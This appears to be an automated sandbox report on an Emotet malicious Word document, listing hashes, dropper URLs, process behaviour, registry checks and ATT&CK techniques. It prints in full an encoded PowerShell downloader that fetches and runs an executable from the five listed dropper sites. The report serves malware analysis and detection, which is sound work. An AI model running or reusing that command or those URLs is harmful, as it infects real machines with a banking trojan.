emotet | 2cf1f43470ff33536fabf3c1c6bfb82ea01ca6802e217e3723d642e86a185bf6

General

Target
emotet_e2_2cf1f43470ff33536fabf3c1c6bfb82ea01ca6802e217e3723d642e86a185bf6_2020-08-11__132026._doc.doc
Size 225KB
Sample200811-dd7c1h86le
SHA256 2cf1f43470ff33536fabf3c1c6bfb82ea01ca6802e217e3723d642e86a185bf6
MD5 06fb44d13967421a0ec132a15ea04909
SHA1 928c8f9a6b073b456135069f3691fa9ef266c178
SHA512 ad7867f9aedd1b75f52d44812240754cfa049591210f832eca08b9fd4cf7ea20ecdaccf1291333a3a00a90249127012c353fdfd93ddcd6d3f1c043cf7b824b97
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://elnoursteel-eg.com/admin/nx5ea_v0af_ukpya/
exe.dropper
http://esdev.mumara.com/js/x7_k_qbuis80o/
exe.dropper
http://www.earthpath.com/EarthPath/cmr4_oof1y_s/
exe.dropper
http://ensanz.com/zg3lo_dsy_knb1n/
exe.dropper
https://ergosnooze.com/wp-content/b7nwa_2b_y/

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1000	504	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3764-14-0x0000000000A50000-0x0000000000A5C000-memory.dmp	emotet
behavioral2/memory/3764-14-0x0000000000A50000-0x0000000000A5C000-memory.dmp	emotet
behavioral2/memory/3760-18-0x0000000000900000-0x000000000090C000-memory.dmp	emotet
behavioral2/memory/3760-18-0x0000000000900000-0x000000000090C000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
22	1000	powersheLL.exe
24	1000	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3764	573.exe
3760	cmstp.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\ncobjapi\cmstp.exe	573.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1000	powersheLL.exe
1000	powersheLL.exe
1000	powersheLL.exe
3760	cmstp.exe
3760	cmstp.exe
3760	cmstp.exe
3760	cmstp.exe
3760	cmstp.exe
3760	cmstp.exe
3760	cmstp.exe
3760	cmstp.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1000	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3764	573.exe
3764	573.exe
3760	cmstp.exe
3760	cmstp.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3764 wrote to memory of 3760	3764	573.exe	77
PID 3764 wrote to memory of 3760	3764	573.exe	77
PID 3764 wrote to memory of 3760	3764	573.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_2cf1f43470ff33536fabf3c1c6bfb82ea01ca6802e217e3723d642e86a185bf6_2020-08-11__132026._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABCAFoATQBKAFgAbgBvAHEAPQAnAFkAVwBQAEQAUABqAGIAeQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwB1AHIASQB0AFkAUABSAGAAbwB0AGAAbwBDAGAAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARABIAEIAVABHAGgAeAB6ACAAPQAgACcANQA3ADMAJwA7ACQASABVAFcAQgBGAHgAcgB0AD0AJwBSAEcARgBZAFIAYwBvAGYAJwA7ACQASQBNAEoAWQBNAHUAcwBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABEAEgAQgBUAEcAaAB4AHoAKwAnAC4AZQB4AGUAJwA7ACQAWQBQAFYASwBWAHIAdAByAD0AJwBBAFMAUgBSAEgAcwB3AHIAJwA7ACQAVABHAFoARwBQAG0AaABiAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAdAAuAHcAZQBiAEMAbABJAEUATgB0ADsAJABGAEcAUQBVAFUAbQB2AGIAPQAnAGgAdAB0AHAAOgAvAC8AZQBsAG4AbwB1AHIAcwB0AGUAZQBsAC0AZQBnAC4AYwBvAG0ALwBhAGQAbQBpAG4ALwBuAHgANQBlAGEAXwB2ADAAYQBmAF8AdQBrAHAAeQBhAC8AKgBoAHQAdABwADoALwAvAGUAcwBkAGUAdgAuAG0AdQBtAGEAcgBhAC4AYwBvAG0ALwBqAHMALwB4ADcAXwBrAF8AcQBiAHUAaQBzADgAMABvAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZQBhAHIAdABoAHAAYQB0AGgALgBjAG8AbQAvAEUAYQByAHQAaABQAGEAdABoAC8AYwBtAHIANABfAG8AbwBmADEAeQBfAHMALwAqAGgAdAB0AHAAOgAvAC8AZQBuAHMAYQBuAHoALgBjAG8AbQAvAHoAZwAzAGwAbwBfAGQAcwB5AF8AawBuAGIAMQBuAC8AKgBoAHQAdABwAHMAOgAvAC8AZQByAGcAbwBzAG4AbwBvAHoAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIANwBuAHcAYQBfADIAYgBfAHkALwAnAC4AIgBTAGAAcABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAWABIAE0ARgB1AHgAeQA9ACcAVABYAFgAQQBCAGQAZAB6ACcAOwBmAG8AcgBlAGEAYwBoACgAJABMAE0ATQBXAFEAdgBxAGYAIABpAG4AIAAkAEYARwBRAFUAVQBtAHYAYgApAHsAdAByAHkAewAkAFQARwBaAEcAUABtAGgAYgAuACIARABgAG8AYAB3AE4AbABvAGEARABmAEkAbABFACIAKAAkAEwATQBNAFcAUQB2AHEAZgAsACAAJABJAE0ASgBZAE0AdQBzAG8AKQA7ACQARgBYAFkARgBJAG8AeAByAD0AJwBZAEEAWQBNAEMAYQBkAGkAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABJAE0ASgBZAE0AdQBzAG8AKQAuACIAbABgAGUAbgBHAHQAaAAiACAALQBnAGUAIAAyADYANAAxADMAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBFAGEAYABUAEUAIgAoACQASQBNAEoAWQBNAHUAcwBvACkAOwAkAE0ASgBCAE0AVwB1AGEAdAA9ACcAWgBRAE4ATgBIAHMAcQB1ACcAOwBiAHIAZQBhAGsAOwAkAEEAUABTAE8ATwBzAHkAeQA9ACcARwBWAFgAWABTAHYAbgBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUASwBDAEsASAB1AHcAcgA9ACcASwBNAFEAVQBNAGYAZABpACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1000

C:\Users\Admin\573.exe
C:\Users\Admin\573.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3764
- C:\Windows\SysWOW64\ncobjapi\cmstp.exe
  "C:\Windows\SysWOW64\ncobjapi\cmstp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1000-8-0x00007FF99BE90000-0x00007FF99C87C000-memory.dmp

Download

memory/1000-9-0x000001AF61280000-0x000001AF61281000-memory.dmp

Download

memory/1000-10-0x000001AF79990000-0x000001AF79991000-memory.dmp

Download

memory/3760-17-0x000000000059B000-0x000000000059D000-memory.dmp

Download

memory/3760-18-0x0000000000900000-0x000000000090C000-memory.dmp

Download

memory/3764-13-0x000000000059A000-0x000000000059C000-memory.dmp

Download

memory/3764-14-0x0000000000A50000-0x0000000000A5C000-memory.dmp

Download

memory/3816-0-0x00007FF9A4270000-0x00007FF9A4936000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads